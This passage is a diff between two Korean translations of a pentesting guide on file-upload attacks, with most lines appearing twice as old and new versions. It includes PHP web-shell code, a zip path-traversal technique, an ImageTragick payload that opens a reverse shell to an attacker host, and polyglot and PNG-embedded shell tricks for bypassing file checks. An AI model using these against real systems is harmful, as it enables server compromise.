1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수를 통해 전달된 명령을 실행하도록 작성됩니다.
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수 전달된 명령을 실행하도록 작성됩니다.
```php
<?php
@ -297,14 +297,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성한 후 이 파일들을 포함하는 zip 아카이브를 만듭니다.
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성하고 이 파일들을 포함하는 zip 아카이브를 만듭니다.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: zip 안의 파일 이름을 vi 또는 hex editor로 변경하여 "xxA"를 "../"로 바꿔 디렉터리 순회(traversal)를 수행합니다.
3. **Modification with a Hex Editor or vi**: zip 내부의 파일 이름을 vi 또는 hex editor로 변경하여 'xxA'를 '../'로 바꿔 디렉터리를 횡단합니다.
```bash
:set modifiable
@ -314,40 +314,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
콘텐츠를 이미지 확장자로 업로드하여 취약점 **(ImageMagick , 7.0.1-1)** 을 악용하세요 (exploit은 [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
내용을 이미지 확장자로 업로드하면 취약점 **(ImageMagick , 7.0.1-1)** 을 악용할 수 있습니다 (form the [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNG에 PHP 셸 임베딩
## PNG에 PHP Shell 삽입
PNG 파일의 IDAT 청크에 PHP 셸을 임베딩하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지 크기 조정과 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베딩된 PHP 셸이 이러한 작업으로 영향을 받지 않고 남아 있을 수 있다는 점은 특정 사용 사례에서 큰 이점입니다.
PNG 파일의 IDAT chunk에 PHP shell을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지 크기 조정(resizing)과 리샘플링(resampling)에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 이러한 작업에도 불구하고 삽입된 PHP shell이 영향을 받지 않는 특성은 특정 사용 사례에서 큰 이점입니다.
이 기법의 방법론과 잠재적 적용 사례를 자세히 다룬 글은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 절차와 그 영향에 대한 포괄적인 이해를 제공합니다.
이 기법의 방법론 및 잠재적 적용 사례를 포함한 자세한 설명은 다음 기사에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/).
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
자세한 정보: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
## Polyglot 파일
Polyglot files는 사이버보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF이자 RAR 아카이브로 동시에 동작하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
Polyglot 파일은 사이버보안에서 고유한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 동시에 동작하는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에만 국한되지 않으며 GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
Polyglot files의 핵심 유용성은 파일 유형을 기준으로 파일을 검사하는 보안 조치를 우회할 수 있다는 점입니다. 다양한 애플리케이션에서는 잠재적으로 위험한 포맷(e.g., JS, PHP, or Phar files)에 대한 위험을 줄이기 위해 JPEG, GIF, 또는 DOC 같은 특정 파일 타입만 업로드를 허용하는 경우가 일반적입니다. 그러나 polyglot은 여러 파일 타입의 구조적 기준을 동시에 만족함으로써 이러한 제한을 은밀히 우회할 수 있습니다.
Polyglot 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 회피할 수 있다는 점에 있습니다. 다양한 애플리케이션에서는 잠재적으로 해로운 포맷(예: JS, PHP, Phar 파일)으로 인한 위험을 줄이기 위해 JPEG, GIF 또는 DOC 같은 특정 파일 유형만 업로드를 허용하는 것이 일반적입니다. 그러나 polyglot은 여러 파일 유형의 구조적 조건을 동시에 충족함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
적응성에도 불구하고 polyglots는 한계에 직면할 수 있습니다. 예를 들어, polyglot가 PHAR 파일(PHp ARchive)과 JPEG를 동시에 구현할 수 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 따라 달라질 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면, 단순한 구조적 이중성만으로는 업로드 성공을 보장하지 못할 수 있습니다.
적응성에도 불구하고 polyglot에는 한계가 있습니다. 예를 들어, polyglot이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함하더라도 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면 polyglot의 단순한 구조적 이중성만으로는 업로드 보장이 되지 않을 수 있습니다.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
자세한 정보: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### PDF인 것처럼 유효한 JSON 업로드
허용되지 않은 경우에도 PDF 파일로 위장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 우회하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
허용되지 않은 경우에도 PDF로 위장하여 유효한 JSON 파일을 업로드해 파일 타입 탐지를 회피하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: `%PDF` 매직 바이트가 처음 1024 바이트 안에 있으면 유효하다고 판단됩니다 (예시는 포스트에서 확인).
- **`pdflib` library**: JSON의 필드 내부에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 인식하게 합니다 (예시는 포스트에서 확인).
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 파일을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 `file`은 이를 PDF로 판단합니다.
- **`mmmagic` library**: 처음 1024바이트 안에 `%PDF` 매직 바이트가 있으면 유효합니다 (예제는 포스트 참조)
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 추가하여 라이브러리가 이를 PDF로 인식하게 합니다 (예제는 포스트 참조)
- **`file` binary**: file 바이너리는 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 따라서 JSON을 그보다 크게 만들어 내용이 json으로 파싱되지 않도록 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 file이 이를 PDF로 인식합니다
## References
## 참고 자료
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)